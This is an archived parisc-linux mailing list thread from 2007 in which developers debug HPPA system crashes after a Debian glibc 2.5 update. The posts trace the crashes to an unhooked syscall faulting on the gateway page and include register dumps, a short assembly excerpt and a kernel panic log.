List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3f1TcipHX1Vpz+uYY2Fy9kN3SDc4NIyd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24619

> > I advise not updating to libc6 2.5-9.  More than pie apps seem
> > affected.  For example, svn is broken on my system.  _start in
> > *crt1.o needs fixing.
> 
> This is a matter of some urgency -- I heard glibc 2.5 moved into Debian
> Testing today.

Yes.  I just did an apt-get update about 30 minutes ago.

This is what I see when I do a gcc_update:
dave@mx3210:~/gnu/gcc-4.3/gcc$ contrib/gcc_update
Updating SVN tree
At revision 125275.
svn: Can't read directory '.': Partial results are valid but processing is incomplete
Adjusting file timestamps

Lock files are getting messed up and svn cleanup fails.  A full checkout
does work but that's several hundred megabytes.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 12:06:38 -0400 (EDT)
Lines: 57
Approved: news@gmane.org
Message-ID: <200706031606.l53G6d70012984__36213.6893011213$1416624382$gmane$org@hiauly1.hia.nrc.ca>
References: <200706020203.l52235DP011866@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624382 24419 80.91.229.3 (22 Nov 2014 02:46:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:22 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 16:06:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx094) with SMTP; 03 Jun 2007 18:06:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C88E17DD51;
	Sun,  3 Jun 2007 10:06:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09793-04; Sun, 3 Jun 2007 10:06:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8EE797DD53;
	Sun,  3 Jun 2007 10:06:50 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9AEAB7DD51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 10:06:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09793-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 10:06:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C0C167DD4A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 10:06:44 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l53G6e2Q012986;
	Sun, 3 Jun 2007 12:06:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l53G6d70012984;
	Sun, 3 Jun 2007 12:06:39 -0400 (EDT)
In-Reply-To: <200706020203.l52235DP011866@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jun 1, 2007 10:03:05 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RIMKC6tWbHIymK3NNjQ0aRgqJihyapD3
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24620

> > > I advise not updating to libc6 2.5-9.  More than pie apps seem
> > > affected.  For example, svn is broken on my system.  _start in
> > > *crt1.o needs fixing.
> > 
> > This is a matter of some urgency -- I heard glibc 2.5 moved into Debian
> > Testing today.
> 
> Yes.  I just did an apt-get update about 30 minutes ago.

As a further update, this system has now crashed three times since
the update.  It was stable prior to the glibc update and had run
several months without needing a reboot.  It was doing gcc builds
almost continuously.

The first two crashes were building gcc and led to file system
corruption.  I tried looking at the log files but there's a gap.
On the console, there's a continuous stream of messages:

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
     PSW: 00001000000001101111111100001111 Not tainted
r00-03  000000ff0806ff0f 000000004036c000 0000000040104edc 00000000c0601048
r04-07  00000000403d79d4 00000000403d89d4 000000000002c258 0000000000000000
r08-11  000000000002a3f4 000000000002a3f4 0000000000000001 0000000000000000
r12-15  000000000002a3f4 0000000000000000 0000000000000001 000000000002c258
r16-19  000000000002a3f4 000000000002a3f4 000000000002a3f4 0000000000000000
r20-23  000000000000012a 000000004029c000 0000000040357594 000000000002c268
r24-27  00000000c0601048 0000000000000058 000000000002c258 0000000040503fc0
r28-31  00000000403daf60 000000007c744170 000000007c744180 00000000403575e3
sr00-03  00000000000eb800 0000000000000000 0000000000000000 00000000000eb800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000000000000 0000000000000004
 IIR: 00000000    ISR: 00000000000eb800  IOR: 0000000000000000
 CPU:        0   CR30: 000000007c744000 CR31: 00000000404c4000
 ORIG_R28: 0000000040155a7c
 IAOQ[0]: 0x0
 IAOQ[1]: 0x4
 RP(r2): syscall_exit+0x0/0x14

The latest crash was:
mx3210:/var/log# df
Filesystem           1K-blocks      Used Available Use% Mounted on
*** crash ***

Need to figure out how to revert the 2.5 libc update.  apt-get
wouldn't let me install 2.3.6.ds1-13.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 14:28:17 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200706031828.l53ISHsf015527__43791.4475253367$1416624383$gmane$org@hiauly1.hia.nrc.ca>
References: <200706031606.l53G6d70012984@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624383 24420 80.91.229.3 (22 Nov 2014 02:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:23 +0000 (UTC)
Cc: matthew@wil.cx,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 18:28:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 03 Jun 2007 20:28:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 720917DD75;
	Sun,  3 Jun 2007 12:28:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10682-04; Sun, 3 Jun 2007 12:28:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34F397DD69;
	Sun,  3 Jun 2007 12:28:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 870517DD49
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 12:28:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10682-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 12:28:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id AAE9E7DD46
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 12:28:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l53ISHqA015528;
	Sun, 3 Jun 2007 14:28:18 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l53ISHsf015527;
	Sun, 3 Jun 2007 14:28:17 -0400 (EDT)
In-Reply-To: <200706031606.l53G6d70012984@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Jun 3, 2007 12:06:38 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: G04FLPhBaHI+m6WnKSUl0Z5qamdhZMTP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24621

> On the console, there's a continuous stream of messages:
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>      PSW: 00001000000001101111111100001111 Not tainted
> r00-03  000000ff0806ff0f 000000004036c000 0000000040104edc 00000000c0601048
> r04-07  00000000403d79d4 00000000403d89d4 000000000002c258 0000000000000000
> r08-11  000000000002a3f4 000000000002a3f4 0000000000000001 0000000000000000
> r12-15  000000000002a3f4 0000000000000000 0000000000000001 000000000002c258
> r16-19  000000000002a3f4 000000000002a3f4 000000000002a3f4 0000000000000000
> r20-23  000000000000012a 000000004029c000 0000000040357594 000000000002c268
> r24-27  00000000c0601048 0000000000000058 000000000002c258 0000000040503fc0
> r28-31  00000000403daf60 000000007c744170 000000007c744180 00000000403575e3
> sr00-03  00000000000eb800 0000000000000000 0000000000000000 00000000000eb800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000000000000 0000000000000004
>  IIR: 00000000    ISR: 00000000000eb800  IOR: 0000000000000000
>  CPU:        0   CR30: 000000007c744000 CR31: 00000000404c4000
>  ORIG_R28: 0000000040155a7c
>  IAOQ[0]: 0x0
>  IAOQ[1]: 0x4
>  RP(r2): syscall_exit+0x0/0x14

The kernel is 2.6.20-gfb60ab85-dirty.  The above appears to be a
syscall that's not hooked up.   The number appears to be 0x12a (298).

I believe that we aren't allowed to fault on the gateway page.
If we have holes in the syscall table, I think we need a check
for this since the following code will fault if r19 is zero:

.Lin_syscall:
        ldil    L%syscall_exit,%r2
	be      0(%sr7,%r19)
	ldo     R%syscall_exit(%r2),%r2

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 15:28:29 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20070603192829.GA23062__33764.4806168557$1416624383$gmane$org@fattire.cabal.ca>
References: <200706031606.l53G6d70012984@hiauly1.hia.nrc.ca>
	<200706031828.l53ISHsf015527@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624383 24423 80.91.229.3 (22 Nov 2014 02:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:23 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 19:28:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 03 Jun 2007 21:28:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 036147DD8D;
	Sun,  3 Jun 2007 13:28:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11311-01; Sun, 3 Jun 2007 13:28:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E870F7DD51;
	Sun,  3 Jun 2007 13:28:36 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 54E217DD4C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 13:28:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10957-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 13:28:31 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 8963F7DD4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 13:28:31 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A1FC75840D5;
	Sun,  3 Jun 2007 15:28:30 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 28EBD5840D2;
	Sun,  3 Jun 2007 15:28:30 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id CD39E23DD0; Sun,  3 Jun 2007 15:28:29 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200706031828.l53ISHsf015527@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XCBQcuJPTXs9m6yRbmQ5mXtKRzdyMsPu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24622

On Sun, Jun 03, 2007 at 02:28:17PM -0400, John David Anglin wrote:
> I believe that we aren't allowed to fault on the gateway page.
> If we have holes in the syscall table, I think we need a check
> for this since the following code will fault if r19 is zero:
> 
> .Lin_syscall:
>         ldil    L%syscall_exit,%r2
> 	be      0(%sr7,%r19)
> 	ldo     R%syscall_exit(%r2),%r2
> 

This is bad. Your kernel is too old, and glibc didn't take this into
account. I'll hack something up to return -ENOSYS.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Sun, 3 Jun 2007 15:49:38 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <200706031949.l53Jncmi016795__32856.971739284$1416624383$gmane$org@hiauly1.hia.nrc.ca>
References: <20070603192829.GA23062@fattire.cabal.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624383 24426 80.91.229.3 (22 Nov 2014 02:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:23 +0000 (UTC)
Cc: debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: - Wed Jul 02 21:27:41 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jun 2007 19:49:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 03 Jun 2007 21:49:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 502097DD9C;
	Sun,  3 Jun 2007 13:49:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11311-09; Sun, 3 Jun 2007 13:49:46 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07F0D7DD98;
	Sun,  3 Jun 2007 13:49:44 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E6377DD4D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 13:49:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10957-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Jun 2007 13:49:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 3BFE97DD4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Jun 2007 13:49:40 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l53Jnd4k016796;
	Sun, 3 Jun 2007 15:49:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l53Jncmi016795;
	Sun, 3 Jun 2007 15:49:38 -0400 (EDT)
In-Reply-To: <20070603192829.GA23062@fattire.cabal.ca> from "Kyle McMartin" at
	Jun 3, 2007 03:28:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: aSNWcsV9RkkerquPfGRq8QpmdWkvKNNB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24623

> This is bad. Your kernel is too old, and glibc didn't take this into
> account. I'll hack something up to return -ENOSYS.

I'm a bit surprised that 2.6.20 is too old.  In any event, my
initial attempt to do the above hasn't worked:

Kernel command line: root=/dev/sda3 panic=5 console=ttyS1 palo_kernel=1/vmlinux
Backtrace:
 [<00000000401c6d02>] ep_remove+0xc8/0xe8
 [<0000000040200215>] log_do_checkpoint+0x1cc/0x418
 [<0000000040287010>] class_device_add+0x510/0x5f0
 [<0000000040140912>] sysctl_string+0x188/0x1b8
 [<000000004010020f>] aligned_rfi+0xc/0xe00
 [<0000000040366380>] packet_getsockopt+0x130/0x138
 [<0000000040365160>] packet_ioctl+0x188/0x198
 [<0000000040362798>] unix_ioctl+0xb8/0x110
 [<000000004034cecc>] ipv4_sysctl_forward_strategy+0x12c/0x138
 [<000000004034ce48>] ipv4_sysctl_forward_strategy+0xa8/0x138
 [<000000004034bd5c>] ip_mc_msfget+0x16c/0x1d0
 [<0000000040343fa0>] ipv4_doint_and_flush_strategy+0x110/0x138
 [<000000004033ef8c>] udp_ioctl+0xf4/0x100
 [<000000004033d8bc>] udp_lib_setsockopt+0x8c/0x170
 [<000000004033d37c>] udp_lib_getsockopt+0x54/0x110
 [<000000004033c140>] raw_sendmsg+0x640/0x810


Kernel Fault: Code=15 regs=00000000404c0290 (Addr=0000000080000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000011100001110 Not tainted
r00-03  000000000804070e 00000000405107c0 000000004051aed4 0000000040103000
r04-07  0000000040503fc0 0000000000480000 00000000fffffff0 00000000f040dd30
r08-11  0000000000000258 0000000000000001 000000000804000e 0000000040514634
r12-15  0000000000000000 0000000000000001 0000000000000001 00000000000225c4
r16-19  00000000f0d00b0c 0000000000000000 00000000000f76f8 0000000080000000
r20-23  00000000e208b185 000000003ffffd90 0000000040103020 00000000404e5300
r24-27  0000000000000000 00000000403c3491 000000004010300d 0000000040503fc0
r28-31  00000000e208b185 00000000404c0260 00000000404c0290 000000000fec6fc0
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004051af34 000000004051af38
 IIR: 0e60109c    ISR: 0000000000000000  IOR: 0000000080000000
 CPU:        0   CR30: 00000000404c0000 CR31: 00000000404c4000
 ORIG_R28: 00000000401385a4
 IAOQ[0]: check_ivt+0x84/0xe0
 IAOQ[1]: check_ivt+0x88/0xe0
 RP(r2): check_ivt+0x24/0xe0
Kernel panic - not syncing: Kernel Fault
<0>Rebooting in 5 seconds..

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
